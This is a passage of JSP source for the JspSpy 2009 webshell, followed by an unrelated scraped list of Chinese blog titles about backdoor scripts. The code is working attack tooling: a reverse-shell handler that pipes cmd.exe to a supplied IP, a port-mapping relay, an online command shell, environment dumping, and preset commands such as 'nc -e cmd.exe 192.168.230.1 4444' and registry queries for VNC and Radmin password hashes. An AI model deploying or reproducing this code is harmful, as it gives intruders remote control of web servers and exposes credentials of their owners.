final String remoteIP = request.getParameter("remoteIP");
final String remotePort = request.getParameter("remotePort");
if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
return;
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket s = (ServerSocket)obj;
s.close();
}
final ServerSocket server = new ServerSocket();
server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
JSession.setAttribute(PORT_MAP,server);
new Thread(new Runnable(){
public void run(){
while (true) {
Socket soc = null;
Socket remoteSoc = null;
DataInputStream remoteIn = null;
DataOutputStream remoteOut = null;
DataInputStream localIn = null;
DataOutputStream localOut = null;
try{
soc = server.accept();
remoteSoc = new Socket();
remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
remoteIn = new DataInputStream(remoteSoc.getInputStream());
remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
localIn = new DataInputStream(soc.getInputStream());
localOut = new DataOutputStream(soc.getOutputStream());
this.readFromLocal(localIn,remoteOut);
this.readFromRemote(soc,remoteSoc,remoteIn,localOut);
}catch(Exception ex)
{
break;
}
}
}
public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
new Thread(new Runnable(){
public void run(){
while (true) {
try{
byte[] data = new byte[100];
int len = localIn.read(data);
while (len != -1) {
remoteOut.write(data,0,len);
len = localIn.read(data);
}
}catch (Exception e) {
break;
}
}
}
}).start();
}
public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
new Thread(new Runnable(){
public void run(){
while(true) {
try{
byte[] data = new byte[100];
int len = remoteIn.read(data);
while (len != -1) {
localOut.write(data,0,len);
len = remoteIn.read(data);
}
}catch (Exception e) {
try{
soc.close();
remoteSoc.close();
}catch(Exception ex) {
}
break;
}
}
}
}).start();
}
}).start();
JSession.setAttribute("done","Map Port Success!");
JSession.setAttribute("localIP",localIP);
JSession.setAttribute("localPort",localPort);
JSession.setAttribute("remoteIP",remoteIP);
JSession.setAttribute("remotePort",remotePort);
response.sendRedirect(SHELL_NAME+"?o=vmp");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//VBackConnect
private static class VbcInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object ip = JSession.getAttribute("ip");
Object port = JSession.getAttribute("port");
Object program = JSession.getAttribute("program");
Object done = JSession.getAttribute("done");
JSession.removeAttribute("ip");
JSession.removeAttribute("port");
JSession.removeAttribute("program");
JSession.removeAttribute("done");
if (Util.isEmpty(ip))
ip = request.getRemoteAddr();
if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
port = "4444";
if (Util.isEmpty(program))
program = "cmd.exe";
if (!Util.isEmpty(done))
Util.outMsg(out,done.toString());
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
"      <div id=\"hOWTm\">"+
"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"      <tr align=\"center\">"+
"        <td style=\"width:5%\"></td>"+
"        <td  align=\"center\">Your Ip :"+
"          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
"          Your Port :"+
"          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
"          <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
"      </tr>"+
"      <tr align=\"center\">"+
"        <td colspan=\"2\"><br/>"+
"          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
"    </td>"+
"    </tr>"+
" </table>"+
"    </div>"+
"</td>"+
"</tr>"+
"</table>"+
"</form>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class BackConnectInvoker extends DefaultInvoker {
public boolean doAfter(){return false;}
public boolean doBefore(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String ip = request.getParameter("ip");
String port = request.getParameter("port");
String program = request.getParameter("program");
if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
return;
Socket socket = new Socket(ip,Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(program);
(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
JSession.setAttribute("done","Back Connect Success!");
JSession.setAttribute("ip",ip);
JSession.setAttribute("port",port);
JSession.setAttribute("program",program);
response.sendRedirect(SHELL_NAME+"?o=vbc");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class JspEnvInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"      <tr>"+
"        <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
"          <div id=\"ghaB\">"+
"            <hr style=\" border: 1px solid #ddd;height:0px;\"/>"+
"            <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
Properties pro = System.getProperties();
Enumeration names = pro.propertyNames();
while (names.hasMoreElements()){
String name = (String)names.nextElement();
out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
}
out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr style=\" border: 1px solid #ddd;height:0px;\"/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
Map<String,String> envs = System.getenv();
Set<Map.Entry<String,String>> entrySet = envs.entrySet();
for (Map.Entry<String,String> en:entrySet) {
out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
}
out.println("</ul></div></td>"+
"      </tr>"+
"    </table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class TopInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
" <tr class=\"head\">"+
"  <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2009</a></span>"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")</td>"+
" </tr>"+
" <tr class=\"alt1\">"+
"  <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
"   <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
"   <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
"   <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
"   <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
"   <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
"   <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
"   <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
"   <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
"   <a href=\"javascript:doPost({o:'vRemoteControl'});\">Remote Control</a> | "+
"   <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
"   <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
" </tr>"+
"</table>");
if (JSession.getAttribute(MSG) != null) {
Util.outMsg(out,JSession.getAttribute(MSG).toString());
JSession.removeAttribute(MSG);
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VOnLineShellInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<script>"+
"    function $(id) {"+
"     return document.getElementById(id);"+
"    }"+
"    var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
"    window.onload = function(){"+
"     setInterval(function(){"+
"      if ($(\"autoscroll\").checked)"+
"      {"+
"       var f = window.frames[\"echo\"];"+
"       if (f && f.document && f.document.body)"+
"       {"+
"        if (!ie)"+
"        {"+
"         if (f.document.body.offsetHeight)"+
"         {"+
"          f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
"         }"+
"        } else {"+
"         f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
"        }"+
"       }"+
"      }"+
"     },500);"+
"    }"+
"   </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td>");
out.println("<h2>Shell OnLine &raquo;</h2><br/>");
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" οnsubmit=\"$('cmd').focus()\">"+
"   <input type=\"submit\" value=\" start \" class=\"bt\">"+
"    <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\"c:\\windows\\system32\\cmd.exe\"/>"+
"    <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo</span>"+
"   </form>"+
"   <hr/>"+
"    <iframe class=\"secho\" name=\"echo\" src=\"\">"+
"    </iframe>"+
"    <form action=\""+SHELL_NAME+"\" method=\"post\" οnsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
"     <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:80%\">"+
"     <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
"     <select οnchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
"      <option value=\"\" selected> </option>"+
"      <option value=\"uname -a\">uname -a</option>"+
"      <option value=\"cat /etc/issue\">issue</option>"+
"      <option value=\"cat /etc/passwd\">passwd</option>"+
"      <option value=\"netstat -an\">netstat -an</option>"+
"      <option value=\"net user\">net user</option>"+
"      <option value=\"tasklist\">tasklist</option>"+
"      <option value=\"tasklist /svc\">tasklist /svc</option>"+
"      <option value=\"net start\">net start</option>"+
"      <option value=\"net stop policyagent /yes\">net stop</option>"+
"      <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
"      <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
"      <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
"      <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
"      <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
"      <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
"      <option value=\"systeminfo\">systeminfo</option>"+
"      <option value=\"net localgroup\">view groups</option>"+
"      <option value=\"net localgroup administrators\">view admins</option>"+
"     </select>"+
"     <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
"     <input type=\"button\" value=\"Stop\" class=\"bt\" οnclick=\"$('ddtype').value='stop';this.form.submit()\">"+
"    </form>"+
"   <iframe style=\"display:none\" name=\"asyn\"></iframe>"
);
out.println("    </td>"+
"  </tr>"+
"</table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class OnLineInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String type = request.getParameter("type");
if (Util.isEmpty(type))
return;
if (type.toLowerCase().equals("start")) {
String exe = request.getParameter("exe");
if (Util.isEmpty(exe))
return;
Process pro = Runtime.getRuntime().exec(exe);
ByteArrayOutputStream outs = new ByteArrayOutputStream();
response.setContentLength(100000000);
response.setContentType("text/html;charset="+Charset.defaultCharset().name());
OnLineProcess olp = new OnLineProcess(pro);
JSession.setAttribute(SHELL_ONLINE,olp);
new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//?????????
Thread.sleep(1000 * 60 * 60 * 24);
} else if (type.equals("ecmd")) {
Object o = JSession.getAttribute(SHELL_ONLINE);
String cmd = request.getParameter("cmd");
if (Util.isEmpty(cmd))
return;
if (o == null)
return;
OnLineProcess olp = (OnLineProcess)o;
olp.setCmd(cmd);
} else {
Object o = JSession.getAttribute(SHELL_ONLINE);
if (o == null)
return;
OnLineProcess olp = (OnLineProcess)o;
olp.stop();
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
static{
ins.put("script",new ScriptInvoker());
ins.put("before",new BeforeInvoker());
ins.put("after",new AfterInvoker());
ins.put("deleteBatch",new DeleteBatchInvoker());
ins.put("clipboard",new ClipBoardInvoker());
ins.put("vRemoteControl",new VRemoteControlInvoker());
ins.put("gc",new GcInvoker());
ins.put("vPortScan",new VPortScanInvoker());
ins.put("portScan",new PortScanInvoker());
ins.put("vConn",new VConnInvoker());
ins.put("dbc",new DbcInvoker());
ins.put("executesql",new ExecuteSQLInvoker());
ins.put("vLogin",new VLoginInvoker());
ins.put("login",new LoginInvoker());
ins.put("filelist", new FileListInvoker());
ins.put("logout",new LogoutInvoker());
ins.put("upload",new UploadInvoker());
ins.put("copy",new CopyInvoker());
ins.put("bottom",new BottomInvoker());
ins.put("vCreateFile",new VCreateFileInvoker());
ins.put("vEdit",new VEditInvoker());
ins.put("createFile",new CreateFileInvoker());
ins.put("vEditProperty",new VEditPropertyInvoker());
ins.put("editProperty",new EditPropertyInvoker());
ins.put("vs",new VsInvoker());
ins.put("shell",new ShellInvoker());
ins.put("down",new DownInvoker());
ins.put("vd",new VdInvoker());
ins.put("downRemote",new DownRemoteInvoker());
ins.put("index",new IndexInvoker());
ins.put("mkdir",new MkDirInvoker());
ins.put("move",new MoveInvoker());
ins.put("removedir",new RemoteDirInvoker());
ins.put("packBatch",new PackBatchInvoker());
ins.put("pack",new PackInvoker());
ins.put("unpack",new UnPackInvoker());
ins.put("vmp",new VmpInvoker());
ins.put("vbc",new VbcInvoker());
ins.put("backConnect",new BackConnectInvoker());
ins.put("jspEnv",new JspEnvInvoker());
ins.put("smp",new SmpInvoker());
ins.put("mapPort",new MapPortInvoker());
ins.put("top",new TopInvoker());
ins.put("vso",new VOnLineShellInvoker());
ins.put("online",new OnLineInvoker());
}
%>
<%
try {
String o = request.getParameter("o");
if (!Util.isEmpty(o)) {
Invoker in = ins.get(o);
if (in == null) {
response.sendRedirect(SHELL_NAME+"?o=index");
} else {
if (in.doBefore()) {
String path = request.getParameter("folder");
if (!Util.isEmpty(path))
session.setAttribute(CURRENT_DIR,path);
ins.get("before").invoke(request,response,session);
ins.get("script").invoke(request,response,session);
ins.get("top").invoke(request,response,session);
}
in.invoke(request,response,session);
if (!in.doAfter()) {
return;
}else{
ins.get("bottom").invoke(request,response,session);
ins.get("after").invoke(request,response,session);
}
}
} else {
response.sendRedirect(SHELL_NAME+"?o=index");
}
} catch (Exception e) {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
e.printStackTrace(new PrintStream(bout));
session.setAttribute(CURRENT_DIR,SHELL_DIR);
Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","<br/>"),"left");
bout.close();
out.flush();
ins.get("bottom").invoke(request,response,session);
ins.get("after").invoke(request,response,session);
}
%>

JSP WebSehll 后门脚本相关推荐

  1. JSP文件管理后门工具jsp-file-browser

    JSP文件管理后门工具jsp-file-browser 在网页后门中,快速浏览服务器文件非常重要.为此,Kali Linux新增了一款JSP后门工具jsp-file-browser.该工具提供所有的文 ...

  2. JSP入门及JSP三种脚本

    目录 0.码仙励志 1.JSP概述 1.什么是JSP 2.JSP的组成 2.JSP语法 1.JSP脚本 2.内置对象out 3.多个<%...%>可以通用 3.JSP的原理 1.JSP是特 ...

  3. jsp调用shell脚本

    一个简单的例子和注意的问题 <%@page import="java.io.BufferedReader"%> <%@page import="java ...

  4. ASP WebShell 后门脚本与免杀

    随着时间的推移和其它新型动态网页技术的兴起,使用ASP(Active Server Page)技术构建的Web应用越来越少.ASP的衰落.旧资料和链接的失效.前辈们早期对ASP较多的研究,都导致了新型 ...

  5. jsp运行linux脚本,jsp页面调用哪个Linux的shell 脚本步骤

    当前位置:我的异常网» Linux/Unix » jsp页面调用哪个Linux的shell 脚本步骤 jsp页面调用哪个Linux的shell 脚本步骤 www.myexceptions.net  网 ...

  6. 配合cat.jsp批量下载脚本

    渗透时有时会出现数据库连接出错,但本地有大量导出数据:或数据库中存储的图片等文件保管在本地的情况,这时可能需要批量下载文件.但蚁剑.菜刀乃至冰蝎或一些web shell都缺少有效批量下载的功能,故利用 ...

  7. jsp基础、脚本元素的使用、乘法表、html输出表格内容、成绩判断

    目录 Jsp构成与原理 JSP的特点: servlet与jsp区别 servlet和jsp的各自的特点 jsp的脚本元素 列1:使用jsp实现九九乘法表 列2:servlet读取所有用户信息 列3:输 ...

  8. JSP01-jsp简介和jsp三种脚本(表达式脚本、代码脚本、声明脚本)

    1.JSP简介 JSP(全称Java Server Pages):一种Java服务端页面 可以定义html.css.js等静态网页内容,也可以定义Java的动态网页内容 是servlet程序的变形 可 ...

  9. jsp调用python脚本_jsp里引用bean

    JSP内容复习 JSP的3个编译指令,7个动作指令,9个内置对象 三个编译指令(通知servlet引擎的处理消息,只在JSP转换成Servlet时起作用) 1.编译指令 page page指令用户定义 ...

  10. JSP基本语法:文件结构、脚本元素、指令元素、动作元素

    JSP语法分为三种不同的类型: 脚本元素(SCRIPTING) 指令元素(DIRECTIVE) 例如: <%@ page import="java.io.*" %> 动 ...

最新文章

  1. web-QQ(腾讯)-Email-TMessage(腾讯微博记事本)
  2. 《如何高效学习》读书笔记(一)——整体性学习策略
  3. css3常用方法以及css3选择器
  4. qs.parse和qs.stringify
  5. 好用的平板电脑_平板选择华为M6,这里有几点建议
  6. 一张图一个表——CSS选择器总结
  7. linux那些事之中断与异常(AMD64架构)_2
  8. Bootstrap--导航栏样式编辑
  9. js 创建file对象_JS 之创建对象
  10. OV摄像头SCCB通信协议
  11. 浅谈es6 promise
  12. [引]VS2005 主题(Theme)和外观(skin)帮助文档:主题和外观概述
  13. 新编计算机组装与维护标准教程,计算机组装与维护标准教程(2018-2020版)
  14. php chm生成工具,phpDocumentor PHP 文档生成 CHM
  15. 关于解决Visual Studio 实时调试器弹出的对话框问题 三种解决办法
  16. Hexo+Icarus3+live2d给博客添加看板娘
  17. Uncaught TypeError: marked is not a function
  18. android平板游戏隐藏功能,平板电脑怎么隐藏游戏
  19. 泰坦尼克号-数据加载及探索性数据分析
  20. HTML绘制七巧板,如何使用HTML5 CSS3制作简单七巧板

热门文章

  1. [狗子的PM之路]数据埋点
  2. 渝粤题库 陕西师范大学 《中国现代文学》作业
  3. USACO 19 FEB Mowing Mischief P 题解
  4. 编程速记(2):Pytorch篇-Tenor与numpy的互相转换
  5. 数学----向量点积公式推导
  6. linux_如何在Linux上配置基于Web的网络流量监控系统
  7. 解决AssertionError Torch not compiled with CUDA enabled问题
  8. Instruments之相关介绍(一)
  9. 嵌入式开发培训怎么样?嵌入式开发培训多少钱
  10. 彼得·林奇的成功投资